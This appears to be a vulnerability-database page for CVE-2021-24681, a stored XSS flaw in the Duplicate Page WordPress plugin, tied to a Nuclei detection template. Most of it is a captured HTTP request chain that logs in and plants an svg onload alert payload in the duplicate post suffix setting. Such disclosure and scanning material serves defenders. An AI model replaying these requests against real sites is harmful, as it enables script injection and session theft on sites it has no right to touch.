| Title | Duplicate Page WordPress - Stored Cross-Site Scripting |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Attackers can execute malicious scripts in the context of the site, potentially leading to session hijacking or defacement. |
| Remediation | Update to the latest version of the plugin where the issue is fixed. |
| CVSS Score | 4.8 |
| EPSS Score | 0.00681 |
| CVE ID | CVE-2021-24681 |
| CWE ID | CWE-79 |
| Tags | wpscan cve cve2021 wordpress wp wp-plugin duplicate-page xss vuln |
Duplicate Page WordPress plugin <= 4.4.2 contains a stored cross-site scripting caused by unsanitized Duplicate Post Suffix settings in output, letting high privilege users execute malicious scripts, exploit requires high privilege user role.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=PzO1D1&pwd=5lCHg4&wp-submit=Log+In
GET /wp-admin/options-general.php?page=duplicate_page_settings HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.4 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /wp-admin/options-general.php?page=duplicate_page_settings HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/6.0
Connection: close
Content-Length: 283
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
duplicatepage_nonce_field=tW0NUv&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dduplicate_page_settings&duplicate_post_status=draft&duplicate_post_redirect=to_list&duplicate_post_suffix="><svg/onload=alert(document.domain)>&submit_duplicate_page=Save+Changes
GET /wp-admin/options-general.php?page=duplicate_page_settings&msg=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.20
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24681.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24681.pcap
N/AN/A